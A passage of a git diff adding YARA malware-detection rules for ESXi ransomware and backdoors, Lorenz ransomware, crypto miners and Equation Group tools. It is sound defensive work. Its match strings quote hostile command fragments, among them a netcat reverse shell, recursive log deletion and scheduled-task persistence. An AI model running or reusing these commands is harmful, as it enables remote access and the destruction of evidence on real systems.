+      $st8 = "ZSWE5FUWtKUlFVRlJRVWxC"
+      $st9 = "WUlhORVFrSlJRVUZSUVVsQ"
+      /* reversed */
+      $str1 = "UUpGVVVCRlVVQ0pFUnpWVV"
+      $str2 = "FKRlVVQkZVVUNKRVJ6VlVW"
+      $str3 = "RSkZVVUJGVVVDSkVSelZVV"
+      $str4 = "VVNCRlZRQkZsUUNSMGNGV"
+      $str5 = "VTQkZWUUJGbFFDUjBjRl"
+      $str6 = "VU0JGVlFCRmxRQ1IwY0ZW"
+      $str7 = "QmxVUVJGVVFSSmtRRU5YUl"
+      $str8 = "JsVVFSRlVRUkprUUVOWFJW"
+      $str9 = "CbFVRUkZVUVJKa1FFTlhSV"
+
+      /* HTML */
+      $htm = "<html" ascii
+      /* avoid matches in emails with double encoding - because email attachments get base64 encoded */
+      $eml = "Content-Transfer-Encoding:" ascii
+   condition:
+      filesize < 10MB and ( 
+         ( 1 of ($sd*) and $htm and not $eml ) /* double encoded in HTML */
+         or ( 1 of ($st*) and $eml )           /* triple encoded in EML */
+      )
+}
diff --git a/yara-Neo23x0/mal_ransom_esxi_attacks_feb23.yar b/yara-Neo23x0/mal_ransom_esxi_attacks_feb23.yar
new file mode 100644
index 0000000..b48e0a2
--- /dev/null
+++ b/yara-Neo23x0/mal_ransom_esxi_attacks_feb23.yar
@@ -0,0 +1,120 @@
+/* 
+   Combined rules with sigs for attacks on Vmware ESX noticed in Feb 23 and Dec 22
+   More rules are included in the FULL THOR Scanner
+*/
+
+rule MAL_RANSOM_SH_ESXi_Attacks_Feb23_1 {
+   meta:
+      description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers - file encrypt.sh"
+      author = "Florian Roth"
+      reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
+      date = "2023-02-04"
+      score = 85
+      hash1 = "10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459"
+      id = "7178dbe4-f573-5279-a23e-9bab8ae8b743"
+   strings:
+      $x1 = "/bin/find / -name *.log -exec /bin/rm -rf {} \\;" ascii fullword
+      $x2 = "/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh" ascii fullword
+      $x3 = "grep encrypt | /bin/grep -v grep | /bin/wc -l)" ascii fullword
+
+      $s1 = "## ENCRYPT" ascii fullword
+      $s2 = "/bin/find / -name *.log -exec /bin" ascii fullword
+   condition:
+      uint16(0) == 0x2123 and
+      filesize < 10KB and (
+         1 of ($x*)
+         or 2 of them
+      ) or 3 of them
+}
+
+rule MAL_RANSOM_ELF_ESXi_Attacks_Feb23_1 {
+   meta:
+      description = "Detects ransomware exploiting and encrypting ESXi servers"
+      author = "Florian Roth"
+      reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
+      date = "2023-02-04"
+      score = 85
+      hash1 = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
+      id = "d0a813aa-41f8-57df-b708-18ccb0d7a3e5"
+   strings:
+      $x1 = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]" ascii fullword
+      $x2 = "[ %s ] - FAIL { Errno: %d }" ascii fullword
+
+      $s1 = "lPEM_read_bio_RSAPrivateKey" ascii fullword
+      $s2 = "lERR_get_error" ascii fullword
+      $s3 = "get_pk_data: key file is empty!" ascii fullword
+
+      $op1 = { 8b 45 a8 03 45 d0 89 45 d4 8b 45 a4 69 c0 07 53 65 54 89 45 a8 8b 45 a8 c1 c8 19 }
+      $op2 = { 48 89 95 40 fd ff ff 48 83 bd 40 fd ff ff 00 0f 85 2e 01 00 00 48 8b 9d 50 ff ff ff 48 89 9d 30 fd ff ff 48 83 bd 30 fd ff ff 00 78 13 f2 48 0f 2a 85 30 fd ff ff }
+      $op3 = { 31 55 b4 f7 55 b8 8b 4d ac 09 4d b8 8b 45 b8 31 45 bc c1 4d bc 13 c1 4d b4 1d }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 200KB and (
+         1 of ($x*)
+         or 3 of them
+      ) or 4 of them
+}
+
+rule APT_PY_ESXi_Backdoor_Dec22 {
+   meta:
+      description = "Detects Python backdoor found on ESXi servers"
+      author = "Florian Roth"
+      reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
+      date = "2022-12-14"
+      score = 85
+      id = "f0a3b9b9-0031-5d9f-97f8-70f83863ee63"
+    strings:
+      $x1 = "cmd = str(base64.b64decode(encoded_cmd), " ascii
+      $x2 = "sh -i 2>&1 | nc %s %s > /tmp/" ascii
+    condition:
+      filesize < 10KB and 1 of them or all of them
+}
+
+rule APT_SH_ESXi_Backdoor_Dec22 {
+   meta:
+      description = "Detects malicious script found on ESXi servers"
+      author = "Florian Roth"
+      reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
+      date = "2022-12-14"
+      score = 75
+      id = "983ac20c-2e61-5365-8849-b3aeb999f909"
+    strings:
+      $x1 = "mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1" ascii fullword
+      $x2 = "/bin/nohup /bin/python -u /store/packages/vmtools.py" ascii
+      $x3 = "/bin/rm /bin/hostd-probe.sh.1"
+    condition:
+      filesize < 10KB and 1 of them
+}
+
+rule MAL_RANSOM_SH_ESXi_Attacks_Feb23_2 {
+   meta:
+      description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers"
+      author = "Florian Roth"
+      reference = "https://dev.to/xakrume/esxiargs-encryption-malware-launches-massive-attacks-against-vmware-esxi-servers-pfe"
+      date = "2023-02-06"
+      score = 85
+      id = "d1282dee-0496-52f1-a2b7-27657ab4df8c"
+   strings:
+      $x1 = "echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: " ascii
+   condition:
+      filesize < 10KB and 1 of them
+}
+
+rule SUSP_ESXiArgs_Endpoint_Conf_Aug23 {
+   meta:
+      description = "Detects indicators found in endpoint.conf files as modified by actors in the ESXiArgs campaign"
+      author = "Florian Roth"
+      reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-47"
+      date = "2023-08-04"
+      score = 75
+      id = "3e0b5dbf-7c5b-5599-823a-ce35fbdbe64b"
+   strings:
+      $a1 = "/client/clients.xml" ascii
+      $a2 = "/var/run/vmware/proxy-sdk-tunnel" ascii fullword
+      $a3 = "redirect" ascii fullword
+      $a4 = "allow" ascii fullword
+
+      $s1 = " local 8008 allow allow"
+   condition:
+      filesize < 2KB and all of them
+}
diff --git a/yara-Neo23x0/mal_ransom_lorenz.yar b/yara-Neo23x0/mal_ransom_lorenz.yar
new file mode 100644
index 0000000..e331782
--- /dev/null
+++ b/yara-Neo23x0/mal_ransom_lorenz.yar
@@ -0,0 +1,28 @@
+rule MAL_RANSOM_Lorenz_May21_1 {
+   meta:
+      description = "Detects Lorenz Ransomware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - DACH TE"
+      date = "2021-05-04"
+      hash1 = "4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999"
+      hash2 = "8258c53a44012f6911281a6331c3ecbd834b6698b7d2dbf4b1828540793340d1"
+      hash3 = "c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb"
+      id = "0b18a4a3-82da-574b-8d10-daf2176448b9"
+   strings:
+      $x1 = "process call create \"cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON " ascii fullword
+      $x2 = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCn7fL/1qsWkJkUtXKZIJNqYfnVByVhK" ascii fullword
+      
+      $s1 = "process call create \"cmd.exe /c schtasks /Create /F " ascii fullword
+      $s2 = "twr.ini" ascii fullword
+      $s3 = "/c wmic /node:'" ascii fullword
+
+      $op1 = { 0f 4f d9 81 ff dc 0f 00 00 5f 8d 4b 0? 0f 4e cb 83 fe 3c 5e 5b }
+      $op2 = { 6a 02 e8 ?? ?? 0? 00 83 c4 18 83 f8 01 75 01 cc 6a 00 68 ?? ?? 00 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 4000KB and (
+         1 of ($x*) or 
+         all of ($op*) 
+         or 3 of them
+      ) 
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/mal_ru_sparepart_dec22.yar b/yara-Neo23x0/mal_ru_sparepart_dec22.yar
new file mode 100644
index 0000000..5ce0520
--- /dev/null
+++ b/yara-Neo23x0/mal_ru_sparepart_dec22.yar
@@ -0,0 +1,39 @@
+
+rule MAL_Backdoor_SPAREPART_SleepGenerator {
+    meta:
+        author = "Mandiant"
+        date = "2022-12-14"
+        description = "Detects the algorithm used to determine the next sleep timer"
+        version = "1"
+        weight = "100"
+        hash = "f9cd5b145e372553dded92628db038d8"
+        disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
+        reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
+        id = "b9cd46e4-0e06-5ead-8379-adcfc3c384d0"
+    strings:
+        $ = {C1 E8 06 89 [5] C1 E8 02 8B}
+        $ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
+        $ = {8B 80 FC 00 00 00}
+        $ = {D1 E8 [4] c1 E1 0f 0b c1}
+    condition:
+        all of them
+}
+
+rule MAL_Backdoor_SPAREPART_Struct {
+    meta:
+        author = "Mandiant"
+        date = "2022-12-14"
+        description = "Detects the PDB and a struct used in SPAREPART"
+        hash = "f9cd5b145e372553dded92628db038d8"
+        disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
+        reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
+        id = "a04296d5-c146-5142-a8e8-418651f6b755"
+    strings:
+        $pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase
+        $struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }
+    condition:
+       (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
+       $pdb and
+       $struct and
+       filesize < 20KB
+} 
diff --git a/yara-Neo23x0/pua_cryptocoin_miner.yar b/yara-Neo23x0/pua_cryptocoin_miner.yar
new file mode 100644
index 0000000..269abb7
--- /dev/null
+++ b/yara-Neo23x0/pua_cryptocoin_miner.yar
@@ -0,0 +1,88 @@
+
+rule CoinMiner_Strings : SCRIPT HIGHVOL {
+   meta:
+      description = "Detects mining pool protocol string in Executable"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      reference = "https://minergate.com/faq/what-pool-address"
+      date = "2018-01-04"
+      modified = "2021-10-26"
+      nodeepdive = 1
+      id = "ac045f83-5f32-57a9-8011-99a2658a0e05"
+   strings:
+      $sa1 = "stratum+tcp://" ascii
+      $sa2 = "stratum+udp://" ascii
+      $sb1 = "\"normalHashing\": true,"
+   condition:
+      filesize < 3000KB and 1 of them
+}
+
+rule CoinHive_Javascript_MoneroMiner : HIGHVOL {
+   meta:
+      description = "Detects CoinHive - JavaScript Crypto Miner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 50
+      reference = "https://coinhive.com/documentation/miner"
+      date = "2018-01-04"
+      id = "4f40c342-fcdc-5c73-a3cf-7b2ed438eaaf"
+   strings:
+      $s2 = "CoinHive.CONFIG.REQUIRES_AUTH" fullword ascii
+   condition:
+      filesize < 65KB and 1 of them
+}
+
+rule PUA_CryptoMiner_Jan19_1 {
+   meta:
+      description = "Detects Crypto Miner strings"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-01-31"
+      score = 80
+      hash1 = "ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05"
+      id = "aebfdce9-c2dd-5f24-aa25-071e1a961239"
+   strings:
+      $s1 = "Stratum notify: invalid Merkle branch" fullword ascii
+      $s2 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
+      $s3 = "User-Agent: cpuminer/" ascii
+      $s4 = "hash > target (false positive)" fullword ascii
+      $s5 = "thread %d: %lu hashes, %s khash/s" fullword ascii
+   condition:
+      filesize < 1000KB and 1 of them
+}
+
+rule PUA_Crypto_Mining_CommandLine_Indicators_Oct21 : SCRIPT {
+   meta:
+      description = "Detects command line parameters often used by crypto mining software"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.poolwatch.io/coin/monero"
+      date = "2021-10-24"
+      score = 65
+      id = "afe5a63a-08c3-5cb7-b4b1-b996068124b7"
+   strings:
+      $s01 = " --cpu-priority="
+      $s02 = "--donate-level=0"
+      $s03 = " -o pool."
+      $s04 = " -o stratum+tcp://"
+      $s05 = " --nicehash"
+      $s06 = " --algo=rx/0 "
+
+      /* base64 encoded: --donate-level= */
+      $se1 = "LS1kb25hdGUtbGV2ZWw9"
+      $se2 = "0tZG9uYXRlLWxldmVsP"
+      $se3 = "tLWRvbmF0ZS1sZXZlbD"
+
+      /* 
+         base64 encoded:
+         stratum+tcp:// 
+         stratum+udp:// 
+      */
+      $se4 = "c3RyYXR1bSt0Y3A6Ly"
+      $se5 = "N0cmF0dW0rdGNwOi8v"
+      $se6 = "zdHJhdHVtK3RjcDovL"
+      $se7 = "c3RyYXR1bSt1ZHA6Ly"
+      $se8 = "N0cmF0dW0rdWRwOi8v"
+      $se9 = "zdHJhdHVtK3VkcDovL"
+   condition:
+      filesize < 5000KB and 1 of them
+}
diff --git a/yara-Neo23x0/pua_xmrig_monero_miner.yar b/yara-Neo23x0/pua_xmrig_monero_miner.yar
new file mode 100644
index 0000000..aba9c48
--- /dev/null
+++ b/yara-Neo23x0/pua_xmrig_monero_miner.yar
@@ -0,0 +1,84 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-04
+   Identifier: XMRIG
+   Reference: https://github.com/xmrig/xmrig/releases
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule XMRIG_Monero_Miner : HIGHVOL {
+   meta:
+      description = "Detects Monero mining software"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/xmrig/xmrig/releases"
+      date = "2018-01-04"
+      modified = "2022-11-10"
+      modified = "2022-11-10"
+      hash1 = "5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0"
+      hash2 = "08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7"
+      hash3 = "f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5"
+      hash4 = "0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2"
+      id = "71bf1b9c-c806-5737-83a9-d6013872b11d"
+   strings:
+      $s1 = "'h' hashrate, 'p' pause, 'r' resume" fullword ascii
+      $s2 = "--cpu-affinity" ascii
+      $s3 = "set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" ascii
+      $s4 = "password for mining server" fullword ascii
+      $s5 = "XMRig/%s libuv/%s%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d or uint16(0) == 0x457f ) and filesize < 10MB and 2 of them
+}
+
+rule XMRIG_Monero_Miner_Config {
+   meta:
+      description = "Auto-generated rule - from files config.json, config.json"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/xmrig/xmrig/releases"
+      date = "2018-01-04"
+      hash1 = "031333d44a3a917f9654d7e7257e00c9d961ada3bee707de94b7c7d06234909a"
+      hash2 = "409b6ec82c3bdac724dae702e20cb7f80ca1e79efa4ff91212960525af016c41"
+      id = "374efe7f-9ef2-5974-8e24-f749183ab2d0"
+   strings:
+      $s2 = "\"cpu-affinity\": null,   // set process affinity to CPU core(s), mask \"0x3\" for cores 0 and 1" fullword ascii
+      $s5 = "\"nicehash\": false                  // enable nicehash/xmrig-proxy support" fullword ascii
+      $s8 = "\"algo\": \"cryptonight\",  // cryptonight (default) or cryptonight-lite" fullword ascii
+   condition:
+      ( uint16(0) == 0x0a7b or uint16(0) == 0x0d7b ) and filesize < 5KB and 1 of them
+}
+
+rule PUA_LNX_XMRIG_CryptoMiner {
+   meta:
+      description = "Detects XMRIG CryptoMiner software"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-06-28"
+      modified = "2023-01-06"
+      hash1 = "10a72f9882fc0ca141e39277222a8d33aab7f7a4b524c109506a407cd10d738c"
+      id = "bbdeff2e-68cc-5bbe-b843-3cba9c8c7ea8"
+   strings:
+      $x1 = "number of hash blocks to process at a time (don't set or 0 enables automatic selection o" fullword ascii
+      $s2 = "'h' hashrate, 'p' pause, 'r' resume, 'q' shutdown" fullword ascii
+      $s3 = "* THREADS:      %d, %s, aes=%d, hf=%zu, %sdonate=%d%%" fullword ascii
+      $s4 = ".nicehash.com" ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 8000KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule SUSP_XMRIG_String {
+   meta:
+      description = "Detects a suspicious XMRIG crypto miner executable string in filr"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-12-28"
+      hash1 = "eb18ae69f1511eeb4ed9d4d7bcdf3391a06768f384e94427f4fc3bd21b383127"
+      id = "8c6f3e6e-df2a-51b7-81b8-21cd33b3c603"
+   strings:
+      $x1 = "xmrig.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
diff --git a/yara-Neo23x0/pup_lightftp.yar b/yara-Neo23x0/pup_lightftp.yar
new file mode 100644
index 0000000..97cafd6
--- /dev/null
+++ b/yara-Neo23x0/pup_lightftp.yar
@@ -0,0 +1,41 @@
+
+rule LightFTP_fftp_x86_64 {
+	meta:
+		description = "Detects a light FTP server"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
+		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
+		score = 50
+		id = "9b62e990-1d8b-5d30-bb58-1f7f12552834"
+	strings:
+		$s1 = "fftp.cfg" fullword wide
+		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
+		$s3 = "*FTP thread exit*" fullword wide
+		$s4 = "PASS->logon successful" fullword ascii
+		$s5 = "250 Requested file action okay, completed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 4 of them
+}
+
+rule LightFTP_Config {
+	meta:
+		description = "Detects a light FTP server - config file"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash = "ce9821213538d39775af4a48550eefa3908323c5"
+		id = "02ee1d04-1425-5dfd-9b9a-cd378aeda311"
+	strings:
+		$s2 = "maxusers=" wide
+		$s6 = "[ftpconfig]" fullword wide
+		$s8 = "accs=readonly" fullword wide
+		$s9 = "[anonymous]" fullword wide
+		$s10 = "accs=" fullword wide
+		$s11 = "pswd=" fullword wide
+	condition:
+		uint16(0) == 0xfeff and filesize < 1KB and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/spy_equation_fiveeyes.yar b/yara-Neo23x0/spy_equation_fiveeyes.yar
new file mode 100644
index 0000000..9a12262
--- /dev/null
+++ b/yara-Neo23x0/spy_equation_fiveeyes.yar
@@ -0,0 +1,603 @@
+/* Equation APT ------------------------------------------------------------ */
+
+rule apt_equation_exploitlib_mutexes {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
+        version = "1.0"
+		date = "2016-02-15"
+        modified = "2023-01-27"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+        id = "d060bfd7-fb16-55d3-8a39-1197fdd8e759"
+    strings:
+        $a1="prkMtx" wide
+        $a2="cnFormSyncExFBC" wide
+        $a3="cnFormVoidFBC" wide
+        $a4="cnFormSyncExFBC"
+        $a5="cnFormVoidFBC"
+    condition:
+        uint16(0) == 0x5A4D and any of ($a*)
+}
+
+/* Disabled by FR due to $a2 string
+rule apt_equation_doublefantasy_genericresource {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect DoubleFantasy encoded config http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}
+        $a2="yyyyyyyyyyyyyyyy"
+        $a3="002"
+    condition:
+        (($mz at 0) and all of ($a*)) and filesize < 500000
+}
+*/
+
+rule apt_equation_equationlaser_runtimeclasses {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the EquationLaser malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	    id = "924c80ca-3607-57aa-85a2-b33ff52b0c1b"
+	strings:
+	    $a1="?a73957838_2@@YAXXZ"
+	    $a2="?a84884@@YAXXZ"
+	    $a3="?b823838_9839@@YAXXZ"
+	    $a4="?e747383_94@@YAXXZ"
+	    $a5="?e83834@@YAXXZ"
+	    $a6="?e929348_827@@YAXXZ"
+	condition:
+	    any of them
+}
+
+rule apt_equation_cryptotable {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the crypto library used in Equation group malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	    id = "e7f313a3-8ef8-5363-898a-836a96aaa2ff"
+	strings:
+	    $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+	condition:
+	    $a
+}
+
+/* Equation Group - Kaspersky ---------------------------------------------- */
+
+rule Equation_Kaspersky_TripleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
+		id = "8d2adb3c-70e0-5768-bcfa-be64220064d9"
+	strings:
+		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
+		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
+		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
+		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
+		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
+		$s5 = "Chrome" fullword wide
+		$s6 = "StringIndex" fullword ascii
+
+		$x1 = "itemagic.net@443" fullword wide
+		$x2 = "team4heat.net@443" fullword wide
+		$x5 = "62.216.152.69@443" fullword wide
+		$x6 = "84.233.205.37@443" fullword wide
+
+		$z1 = "www.microsoft.com@80" fullword wide
+		$z2 = "www.google.com@80" fullword wide
+		$z3 = "127.0.0.1:3128" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300000 and
+		(
+			( all of ($s*) and all of ($z*) ) or
+			( all of ($s*) and 1 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_DoubleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - DoubleFantasy"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
+		id = "f3c87adf-86c3-5d7c-9532-75341841869a"
+	strings:
+		$z1 = "msvcp5%d.dll" fullword ascii
+
+		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
+		$s3 = "actxprxy.DllGetClassObject" fullword ascii
+		$s5 = "actxprxy.DllRegisterServer" fullword ascii
+		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
+
+		$x2 = "191H1a1" fullword ascii
+		$x3 = "November " fullword ascii
+		$x4 = "abababababab" fullword ascii
+		$x5 = "January " fullword ascii
+		$x6 = "October " fullword ascii
+		$x7 = "September " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 350000 and
+		(
+			( $z1 ) or
+			( all of ($s*) and 6 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_GROK_Keylogger {
+	meta:
+		description = "Equation Group Malware - GROK keylogger"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
+		id = "1bae3e86-54e5-55e9-8bbd-aa9ec2a0fa2b"
+	strings:
+		$s0 = "c:\\users\\rmgree5\\" ascii
+		$s1 = "msrtdv.sys" fullword wide
+
+		$x1 = "svrg.pdb" fullword ascii
+		$x2 = "W32pServiceTable" fullword ascii
+		$x3 = "In forma" fullword ascii
+		$x4 = "ReleaseF" fullword ascii
+		$x5 = "criptor" fullword ascii
+		$x6 = "astMutex" fullword ascii
+		$x7 = "ARASATAU" fullword ascii
+		$x8 = "R0omp4ar" fullword ascii
+
+		$z1 = "H.text" fullword ascii
+		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250000 and
+		(
+			$s0 or
+			( $s1 and 6 of ($x*) ) or
+			( 6 of ($x*) and all of ($z*) )
+		)
+}
+
+rule Equation_Kaspersky_GreyFishInstaller {
+	meta:
+		description = "Equation Group Malware - Grey Fish"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
+		id = "ea16b51c-755e-5f08-a209-d21a1ed30fcf"
+	strings:
+		$s0 = "DOGROUND.exe" fullword wide
+		$s1 = "Windows Configuration Services" fullword wide
+		$s2 = "GetMappedFilenameW" fullword ascii
+	condition:
+		all of them
+}
+
+rule Equation_Kaspersky_EquationDrugInstaller {
+	meta:
+		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
+		id = "fa549e6e-f0d8-55ea-9ec9-c8ec53b55dec"
+	strings:
+		$s0 = "\\system32\\win32k.sys" wide
+		$s1 = "ALL_FIREWALLS" fullword ascii
+
+		$x1 = "@prkMtx" fullword wide
+		$x2 = "STATIC" fullword wide
+		$x3 = "windir" fullword wide
+		$x4 = "cnFormVoidFBC" fullword wide
+		$x5 = "CcnFormSyncExFBC" fullword wide
+		$x6 = "WinStaObj" fullword wide
+		$x7 = "BINRES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500000 and all of ($s*) and 5 of ($x*)
+}
+
+rule Equation_Kaspersky_EquationLaserInstaller {
+   meta:
+      description = "Equation Group Malware - EquationLaser Installer"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/ivt8EW"
+      date = "2015/02/16"
+      hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
+      score = 80
+      id = "15fd5668-36f2-556c-8150-225d3cbd4121"
+   strings:
+      $s0 = "Failed to get Windows version" fullword ascii
+      $s1 = "lsasrv32.dll and lsass.exe" fullword wide
+      $s2 = "\\\\%s\\mailslot\\%s" fullword ascii
+      $s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
